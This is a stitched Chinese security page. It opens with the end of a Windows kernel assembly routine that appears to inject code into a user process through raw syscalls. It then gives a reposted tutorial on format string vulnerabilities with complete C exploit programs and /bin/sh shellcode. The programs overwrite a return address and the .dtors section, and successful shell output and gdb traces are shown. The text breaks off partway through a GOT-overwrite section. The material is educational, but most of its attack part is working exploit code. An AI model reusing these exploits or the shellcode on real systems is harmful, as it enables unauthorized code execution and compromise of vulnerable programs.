mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
// lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
// mov ebp, dword ptr [edi-0x8]
// add ebp, 0x4
// mov edi, dword ptr [ecx]
// mov dword ptr [edi], ebp
// mov dword ptr [ebp+4], edi
// mov dword ptr [ecx], ebp

mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [esi+0x1e0]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx+0x128]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x1a0]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x19a
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]

mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
mov ebx, dword ptr [esp+0x14]
add esp, 0x5c
pop ecx
mov dword ptr [ebx], ecx
popfd
ret
}
}
//后的代码是用于第二种DPC恢复的。
后记：
这段时间杂事太多，尤其是这几天连着打校内、校际各种比赛，昨天还打了一天，身心疲惫。今早一起来发现不幸被折腾感冒了，索性弃权了校内赛决赛，窝宿舍里完成了这篇文章。错漏之处当然不少，一些原来想说的技术要点到写文章时都忘了-_-恳请众高手指出问题所在，让我好继续改进


[转载]Format String漏洞介绍和总结

文章作者：bkbll@cnhonker.net
其实这篇文章没什么技术含量，format string(格式化字符串)漏洞很久很久就被研究透了，scut的一篇pd文档属于非常详细的介绍/入门级文章，但是全英文以及里面例子有些解释不彻底， 以及有些例子已经不能使用了，所以这里想大致总结一下，并给出实验好的环境和代码.(实验平台：rh8.0,gcc自带版本)
Format string 漏洞一般是由以下几个函数引起的：
o fprintf - 输出到文件句柄
o printf - 输出到终端
o sprintf - 输出到一个字符串
o snprintf -输出指定长度到字符串
o vfprintf - print to a FILE stream from a va_arg structure
o vprintf - prints to 'stdout' from a va_arg structure
o vsprintf - prints to a string from a va_arg structure
o vsnprintf - prints to a string with length checking from a va_arg structure
Relatives:
o setproctitle - set argv[]
o syslog - output to the syslog facility
o 其他比如 err*, verr*, warn*, vwarn*
在使用这些函数的时候，如果指定了format格式的话，是不存在任何问题的，但是如果程序员偷懒，没指定format而直接输出字符串内容的话，就导致格式化字符串漏洞的发生，比如：
char *buffer;
……………….
printf("%s\n",buffer);
这段程序是不会产生字符串格式化的漏洞的，但是下面这个程序：
char *buffer;
…………..
printf(buffer);
如果buffer可以由用户控制的话，就会导致格式化字符串漏洞的发生。
类似还有：
syslog (LOG_NOTICE, buf);
fprintf(FILE *stream,buffer);
sprintf(char *string,buffer);
snprintf(char *string,strlen(string),buffer)
vfprintf(File *stream,buffer);
等。
1. 漏洞的产生/介绍
我们选用应用最普遍的printf函数来解答format string 漏洞的原理：
我们知道，一个标准正常的printf函数的格式化字符和参数应该是一一对应的，比如：
printf("%s%d%x\n",(char *)string,(int)intnum,(int)hexnum);
有几个%s等，后面就应该有几个参数，这样才可以一一显示该参数的内容，但是，如果有了格式化字符，如果没有跟参数，printf函数会怎么处理的呢？
[bkbll@mobile format]$ cat 6.c
main() { printf("%p %p %p %p %p %p\n"); }
%p表示按指针格式显示结果,我们编译运行下看看:
[bkbll@mobile format]$ gcc -o 6 6.c
[bkbll@mobile format]$ ./6
0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18
显示的是一大堆的内存数据, 我们看看这些数据到底放在哪里的:
[bkbll@mobile format]$ gdb -q 6
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/bkbll/format/6
Breakpoint 1, 0x0804832e in main ()
(gdb) x/i printf
0x42052390 <printf>: push %ebp
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.
Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/8wx $esp
0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8
0xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08
(gdb)
从这里我们看到, printf的入口在0x42052390, 我们分析一下堆栈数据的结构:
当系统调用某个函数的时候,首先会将函数参数压入堆栈, 最后把函数的返回地址压入堆栈, 上面的0x08048345是函数printf的返回地址, 也就是在main函数里面调用printf函数后下一条要执行的指令.0x08048394存放的是我们给printf的参数:
(gdb) x/s 0x08048394
0x8048394 <_IO_stdin_used+4>: "%p %p %p %p %p %p\n"
由于我们给printf了很多的格式化字符%p,但是又没给上相应的参数, 系统认为紧跟格式化字符串后面的数据即为printf的参数,所以就按照%p的格式打印在了终端上.
如果我给出了足够多的%p, 是否可以一直打印数据到0xbfffffff呢? 答案是肯定的, 这个不段用%p显示内存数据就是在scut的pdf上讲到的stack popup的涵义.
好,我们现在可以显示调用printf函数堆栈以上的内容了, 但是我们可以显示任意内存地址的内容吗? 我们看以下事例:
[bkbll@mobile format]$ cat 7.c
main()
{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %p %p %p\n");
printf(buffer);
}
[bkbll@mobile format]$ gcc -o 7 7.c
[bkbll@mobile format]$ ./7
AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070
0x41414141就是我们写的AAAA的16进制码, 如果我把显示0x41414141的%p换成%s, 不是就可以显示0x41414141地址的内容呢?
[bkbll@mobile format]$ cat 8.c
main()
{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
printf(buffer);
}
[bkbll@mobile format]$ gcc -o 8 8.c ;./8
Segmentation fault
段错误, 我们跟踪一下:
[bkbll@mobile format]$ gdb -q 8
(gdb) r
Starting program: /home/bkbll/format/8
Program received signal SIGSEGV, Segmentation fault.
0x4207a4cb in strlen () from /lib/i686/libc.so.6
(gdb) disass $eip $eip+4
Dump of assembler code from 0x4207a4cb to 0x4207a4cf:
0x4207a4cb <strlen+11>: cmp %ch,(%eax)
0x4207a4cd <strlen+13>: je 0x4207a56a <strlen+170>
End of assembler dump.
(gdb) i reg ecx eax
ecx 0x1 1
eax 0x41414141 1094795585
(gdb) x/bx $eax
0x41414141: Cannot access memory at address 0x41414141
Oh,因为我们没有权限访问0x41414141这个地址,所以系统提示段错误.
那我们换一个我们可以访问的地址吧:
[bkbll@mobile format]$ cat 9.c
main()
{
char buf1[]="hello,world";
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
buffer[0]=(int)buf1 & 0xff;
buffer[1]=((int)buf1 >> 8) & 0xff;
buffer[2]=((int)buf1 >> 16) & 0xff;
buffer[3]=((int)buf1 >> 24) & 0xff;
printf(buffer);
}
[bkbll@mobile format]$ gcc -o 9 9.c ; ./9
帔�?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070
我们输出了hello,world字符串, 而这个字符串的地址是我们替换了AAAA的数据得到的.
从上面的例子我们可以看出通过精心构造buffer, 我们可以显示任何地方的数据, 也就是所谓的:read anywhere.
能读数据虽然可以得到很多东西,但结构并不是我们想要的, 我们要可写才可以控制这个程序的流程, 才能运行我们的shellcode.
printf系列函数提供了%n的格式, 用来把显示的数据长度写进一个int型的变量里面, 比如:
[bkbll@mobile format]$ cat 10.c
main()
{
int i=0;
printf("before printf,i:%d\n",i);
printf("hello,word\n%n",&i);
printf("after printf,i:%d\n",i);
}
[bkbll@mobile format]$ gcc -o 10 10.c;./10
before printf,i:0
hello,word
after printf,i:11
我们把printf的输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试一下写到main的返回地址里面:
[bkbll@mobile format]$ gdb -q 10
(gdb) x/i main
0x8048328 <main>: push %ebp
(gdb) b *0x8048328
Breakpoint 1 at 0x8048328
(gdb) r
Starting program: /home/bkbll/format/10
Breakpoint 1, 0x08048328 in main ()
(gdb) x/wx $esp
0xbffffaec: 0x420158d4
我们得到了main的返回地址在0xbffffaec处.
Ok, 我们修改一下程序:
[bkbll@mobile format]$ cat 11.c
main()
{
int i=0xbffffaec;
printf("hello,word\n%n",i);
}
[bkbll@mobile format]$ gcc -o 11 11.c
[bkbll@mobile format]$ gdb -q 11
(gdb) r
Starting program: /home/bkbll/format/11
hello,word
Program received signal SIGSEGV, Segmentation fault.
0x0000000b in ?? ()
(gdb) i reg eip
eip 0xb 0xb
(gdb)
ok,我们已经成功的把数据写到了main返回地址那里, 0x000000b显然是一个不可以执行的地址, 所以会报错.
联想一下,结合前面的read anywhere和这里的写, 我们是否可以动态写数据到任何地址呢?
[bkbll@mobile format]$ cat 12.c
main()
{
int buf1=0xbffffaec;
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %n %p %p\n");
buffer[0]=(int)buf1 & 0xff;
buffer[1]=((int)buf1 >> 8) & 0xff;
buffer[2]=((int)buf1 >> 16) & 0xff;
buffer[3]=((int)buf1 >> 24) & 0xff;
printf(buffer);
}
[bkbll@mobile format]$ gcc -o 12 12.c
[bkbll@mobile format]$ gdb -q 12
(gdb) r
Starting program: /home/bkbll/format/12
禚�?x80484b0 (nil) (nil) 0x25207025 0x70252070
Program received signal SIGSEGV, Segmentation fault.
0x0000001a in ?? ()
(gdb) x/wx 0xbffffaec
0xbffffaec: 0x0000001a
(gdb) i reg eip
eip 0x1a 0x1a
我们成功的覆盖了main的返回地址。
利用printf的格式化字符串漏洞，我们可以write-anywhere, read anywhere。有了这两个条件后，想执行我们的shellcode还不是简单的事情吗？
2. format stirng 漏洞利用
通过前面讨论，我们很容易知道，如果要让我们的shellcode运行起来，必须要知道三个数据：
1． 我们要写的地址,want_write_addr
2． Printf参数后面多少位是我们自定义的数据地址,pad,也就是stack popup的值
3． 我们的shellcode地址.
为什么我们要知道pad的数值呢？printf提供了一个$参数给我们，允许用户不用一个个显示参数，可以自定义显示数据，比如：
[bkbll@mobile fmtxp_lib]$ cat 7.c
main()
{
int i=1,j=2;
printf("j=%2$d i=%1$d\n",i,j);
}
[bkbll@mobile fmtxp_lib]$ cc 7.c ; ./a.out
j=2 i=1
[bkbll@mobile fmtxp_lib]$
有了这个$参数，我们也可以很容易控制写入到某个地址的数据地址：
比如，我们想写入900到变量n里面，我们可以这样写：
[bkbll@mobile fmtxp_lib]$ cat 8.c
main()
{
int n=0;
printf("before printf,n=%d\n",n);
printf("%800d%n\n",1,&n);
printf("after printf,n=%d\n",n);
}
[bkbll@mobile fmtxp_lib]$ cc 8.c ; ./a.out
before printf,n=0
1
after printf,n=800
[bkbll@mobile fmtxp_lib]$
前面介绍了大概的应用，我们来实战一下，就利用scut提供的一个程序做我们的例子吧：
[bkbll@mobile fmtxp_lib]$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void foo (char *line);
int
main (int argc, char *argv[])
{
FILE * f;
char line[1024];
f = fopen (argv[1], "rb");
if (f == NULL)
        {
fprintf (stderr, "usage: %s file\n", argv[0]);
exit (EXIT_FAILURE);
}
fgets (line, sizeof (line) - 1,
        f);
line[1023] = '\x00';
foo (line);
exit (EXIT_SUCCESS);
}
void
foo (char *line)
{
printf (line);
}
程序从文件里面读取一行(<1024)然后显示出来，在foo函数里面存在一个格式化字符串的漏洞。
一般利用format string的方法有以下几种：
1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数返回地址
等。这里我想介绍覆盖GOT， 覆盖DTORS地址，覆盖函数返回地址三种方法, 其他方法类似。
关于GOT表和DTORS段的含义，请参考相关资料。
3. 利用覆盖函数返回地址等方法：
首先我们要知道want_write_addr以及pad和shellcode addr值，
我们先跟踪一下vuln程序：
[bkbll@mobile fmtxp_lib]$ echo "AAAA" > 6
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 6
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 6
Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6
从这里可以看出，foo函数的返回地址在0xbffff67c，也就是我们所要的want_write_addr地址。
(gdb) x/i printf
0x42052390 <printf>: push %ebp
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.
Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/16wx $esp
0xbffff65c: 0x080484d5 0xbffff690 0x4000a190 0x42062a9d
0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa8
0xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x08049660
0xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e
这里我们可以得到pad的值，我们的printf参数在0xbffff690:
(gdb) x/s 0xbffff690
0xbffff690: "AAAA\n"
而我们真正的参数出现在0xbffff68c+4处，我们计算一下中间需要跳过多少地址：
0xbffff68c+4-0xbffff65c-8=0x2c
0x2c/4=11,也就是说中间需要经过11个指针类型数据才能到达，所以:
pad=11+1=12(第12个指针类型数据)
从前面又得到我们的shellcode地址肯定是在0xbffff690+x处，和缓冲区溢出类似，我们可以填充适当的NOP指令，只要X不太多，就可以将指令跳转到我们的NOP上，我们的shellcode就可以执行了。
我们看利用程序：
[bkbll@mobile fmtxp_lib]$ cat x1.c
/* overwrite return addr by our shellcode address
* coded by bkbll(bkbll@cnhonker.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#define want_write_addr 0xbffff67c /*
        foo函数返回地址所在的地址 */
#define pad 12 /* 要经过多少个的指针类型地址数据 */
#define
        straddr 0xbffff690 /* 用户自定义的起始数据地址 */
char
        shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
main()
{
int
        high_ret,low_ret;
char buffer[1024];
int j=0;
int
        shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int
        print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;
/*
        由于我们无法一下将shellcode地址写进want_write_addr,所以我们只要分两部分，前四位和后四位来写入,第一次写少点的数，第二次写两者之差就刚好满足要求了
        */
high_ret=((straddr+shell_addr_pad) >> 16) &
        0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret
        == low_ret) exit(0); /* 不可能作到长度不变
        */
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret <
        low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;} /*确认最小的数据先写
        */
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell
        addr:%p\n",straddr+shell_addr_pad);
/* 0xbffff67c
        */
buffer[0]=want_write_addr &
        0xff;
buffer[1]=(want_write_addr >> 8 ) &
        0xff;
buffer[2]=(want_write_addr >> 16 ) &
        0xff;
buffer[3]=(want_write_addr >> 24 ) &
        0xff;
/*0xbffff67c+2, 这样配合上面的数据就可以刚好写出一个4字节的指针出来
        */
buffer[4]=((want_write_addr+2)) &
        0xff;
buffer[5]=((want_write_addr+2)>>8) &
        0xff;
buffer[6]=((want_write_addr+2)>>16) &
        0xff;
buffer[7]=((want_write_addr+2)>>24) &
        0xff;
j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad);
        /* 比较小的数值是0x0000bffff,比较大的数值是0x0000f690+0x50,但是
        bfff恰好是地址的高四位，所以要写到第13个指针，也就是0xbffff67c+2的地方，而f690+50就写到第12个指针处，也就是0xbffff67c处，用%hn表示写一个2字节的数据，short型的，而不是缺省的int型
        */
buffer[j]=0x90;/* 补上一个NOP
        */
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024)
        {printf("please realloc buffer to
        %d\n",j+1);exit(0);}
printf("%s\n",buffer);
}
好，我们来试一下这个exploit:
[bkbll@mobile
        fmtxp_lib]$ ./x1 >1
use shell addr:0xbffff6e0
[bkbll@mobile
        fmtxp_lib]$ ./vuln
        1
………………………………….(空格和不需要的信息)
蛝)繞蛝柁���/bin/sh
sh-2.05b$id
uid=500(bkbll)
        gid=500(bkbll)
        groups=500(bkbll)
sh-2.05b$
成功了。我们跟踪一下程序，看是否真的符合要求。
[bkbll@mobile
        fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push
        %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c,
        line 30.
(gdb) r 1
Starting program:
        /home/bkbll/format/examples/fmtxp_lib/vuln 1
Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6 /* 返回地址所在地址 */
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb)c
蛝)繞蛝柁���/bin/sh
Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "|?縹??49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/wx 0xbffff67c /*看看现在原来应该放返回地址的地址里是什么内容 */
0xbffff67c: 0xbffff6e0
(gdb) x/i 0xbffff6e0 /* 已经替换成了我们自己的buffer addr */
0xbffff6e0: nop
(gdb)
0xbffff6e1: nop
(gdb)
0xbffff6e2: nop /*跳转到NOP指令了 */(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
ok,已经跳入到了/bin/sh了。
4. 覆盖.dtors 段地址。
用gcc编译出来的elf文件都包含有两个段：.ctors .dtors, 如果没有指定strip用-R项去掉的话，一般strip后的程序都含有这个段：
[bkbll@mobile fmtxp_lib]$ strip x1
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1
x1: file format elf32-i386
Contents of section .dtors:
8049800 ffffffff 00000000 ........
[bkbll@mobile fmtxp_lib]$ strip -R .dtors x1
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1
x1: file format elf32-i386
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors /bin/su
/bin/su: file format elf32-i386
Contents of section .dtors:
804d23c ffffffff 00000000 ........
.ctors段里面有一个函数地址，那么这个函数将会在运行main函数前运行。而.dtors段则相反，是程序结束前要运行的函数（main后）.通过format string的write -anywhere特性，我们可以覆盖这个段的地址，把我们shellcode的地址写进去，这样当程序正常结束后，就会执行我们的shellcode指令，更多有关.dtors段内容请查阅相关文档。
我们来利用我们刚才的vuln程序来实验一下，由于format string构造字符串结构都差不多，所以我们只需要修改一下want_write_addr就可以了，pad和shellcode地址还可以用刚才的值。
首先，我们需要得到程序的.dtors段地址为多少：
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors vuln
vuln: file format elf32-i386
Contents of section .dtors:
8049618 ffffffff 00000000 ........
[bkbll@mobile fmtxp_lib]$
那么，我们需要覆盖的是0x8049618+4=0x804961c的地址
[bkbll@mobile fmtxp_lib]$ cat x2.c
/* write to .dtors addr
* objdump -s -j .dtors vuln
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#define want_write_addr 0x804961c /* .dtors存放函数地址的地址 */
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
/*主体函数不变 */
main()
{
int high_ret,low_ret;
char
        buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int
        rea_high_ret,rea_low_ret;
int
        print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;
high_ret=((straddr+shell_addr_pad) >> 16)
        & 0xffff;
low_ret=(straddr+shell_addr_pad) &
        0xffff;
if(high_ret == low_ret)
        exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret
        < low_ret ) {
        rea_high_ret=low_ret;rea_low_ret=high_ret;}
print_acc=rea_high_ret -
        rea_low_ret;
fprintf(stderr,"use shell
        addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
buffer[0]=want_write_addr
        & 0xff;
buffer[1]=(want_write_addr >> 8 ) &
        0xff;
buffer[2]=(want_write_addr >> 16 ) &
        0xff;
buffer[3]=(want_write_addr >> 24 ) &
        0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2))
        & 0xff;
buffer[5]=((want_write_addr+2)>>8) &
        0xff;
buffer[6]=((want_write_addr+2)>>16) &
        0xff;
buffer[7]=((want_write_addr+2)>>24) &
        0xff;
j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024)
        {printf("please realloc buffer to
        %d\n",j+1);exit(0);}
printf("%s\n",buffer);
}
来看一下运行结果：
[bkbll@mobile fmtxp_lib]$ gcc -o x2 x2.c
[bkbll@mobile fmtxp_lib]$ ./x2 >2
use shell addr:0xbffff6e0
[bkbll@mobile fmtxp_lib]$./vuln 2
蛝)繞蛝柁���/bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
成功了。我们来跟踪一下：
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 2
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 2
Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/3wx 0x8049618
0x8049618 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb) c
蛝)繞蛝柁���/bin/sh
Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "\034\226\004\b\036\226\004\b%49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/3wx 0x8049618
0x8049618 <__DTOR_LIST__>: 0xffffffff 0xbffff6e0 0x00000000
我门已经成功的把shellcode地址写进了.dtors段
(gdb) x/i 0xbffff6e0
0xbffff6e0: nop /*我们的指令*/
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
已经开始执行我们的shellcode了。
5．覆盖GOT表
在编译elf文件的时候，如果要用到其他动态库的函数，比如printf, exit等， 编译的时候并不会直接把这两个函数的代码编译进去，而是留一个调用地址在GOT表里面，当elf文件被加载的时候，代码段才会真正加载进来，然后替换掉GOT表里面的地址(具体实现可以参考alert7的一篇文章。)
[bkbll@mobile format]$ cat 13.c
main(){printf("hello,world");exit(0);}
[bkbll@mobile format]$ gdb -q 13
(gdb) disass printf
Dump of assembler code for function printf:
0x804828c <printf>: jmp *0x80494d8
0x8048292 <printf+6>: push $0x8
0x8048297 <printf+11>: jmp 0x804826c <_init+24>
End of assembler dump.
(gdb) x/wx 0x80494d8
0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048292
(gdb) x/i 0x804826c
0x804826c <_init+24>: pushl 0x80494cc
(gdb)
0x8048272 <_init+30>: jmp *0x80494d0
(gdb) x/w 0x80494d0
0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000
在未开始加载动态共享库的时候，PLT表第1项指向的函数地址为空。
(gdb) b main
Breakpoint 1 at 0x8048362
(gdb) r
Starting program: /home/bkbll/format/13
Breakpoint 1, 0x08048362 in main ()
(gdb) x/w 0x80494d0
0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a180
(gdb) disass 0x4000a180
Dump of assembler code for function _dl_runtime_resolve:
0x4000a180 <_dl_runtime_resolve>: push %eax
0x4000a181 <_dl_runtime_resolve+1>: push %ecx
0x4000a182 <_dl_runtime_resolve+2>: push %edx
0x4000a183 <_dl_runtime_resolve+3>: mov 0x10(%esp,1),%edx
0x4000a187 <_dl_runtime_resolve+7>: mov 0xc(%esp,1),%eax
0x4000a18b <_dl_runtime_resolve+11>: call 0x40009f10 <fixup> /* 这里开始把填充函数地址 */
0x4000a190 <_dl_runtime_resolve+16>: pop %edx
0x4000a191 <_dl_runtime_resolve+17>: pop %ecx
0x4000a192 <_dl_runtime_resolve+18>: xchg %eax,(%esp,1)
0x4000a195 <_dl_runtime_resolve+21>: ret $0x8
0x4000a198 <_dl_runtime_resolve+24>: nop
0x4000a199 <_dl_runtime_resolve+25>: lea 0x0(%esi,1),%esi
End of assembler dump.
(gdb) b *0x4000a192
Breakpoint 2 at 0x4000a192
(gdb) c
Continuing.
Breakpoint 2, 0x4000a192 in _dl_runtime_resolve () from /lib/ld-linux.so.2
(gdb) x/i 0x804828c
0x804828c <printf>: jmp *0x80494d8
(gdb) x/wx 0x80494d8
0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x42052390 /* 这里已经改成了真的printf函数地址*/
(gdb) disass 0x42052390 0x42052390+0x70
Dump of assembler code from 0x42052390 to 0x42052400:
0x42052390 <printf>: push %ebp
0x42052391 <printf+1>: mov %esp,%ebp
0x42052393 <printf+3>: sub $0x18,%esp
0x42052396 <printf+6>: mov %ebx,0xfffffffc(%ebp)
0x42052399 <printf+9>: lea 0xc(%ebp),%ecx
0x4205239c <printf+12>: call 0x4201575d <__i686.get_pc_thunk.bx>
0x420523a1 <printf+17>: add $0xd7f2f,%ebx
0x420523a7 <printf+23>: mov 0x17c(%ebx),%eax
0x420523ad <printf+29>: mov (%eax),%eax
0x420523af <printf+31>: mov %ecx,0x8(%esp,1)
0x420523b3 <printf+35>: mov %eax,(%esp,1)
0x420523b6 <printf+38>: mov 0x8(%ebp),%eax
0x420523b9 <printf+41>: mov %eax,0x4(%esp,1)
0x420523bd <printf+45>: call 0x42047f00 <vfprintf>
0x420523c2 <printf+50>: mov 0xfffffffc(%ebp),%ebx
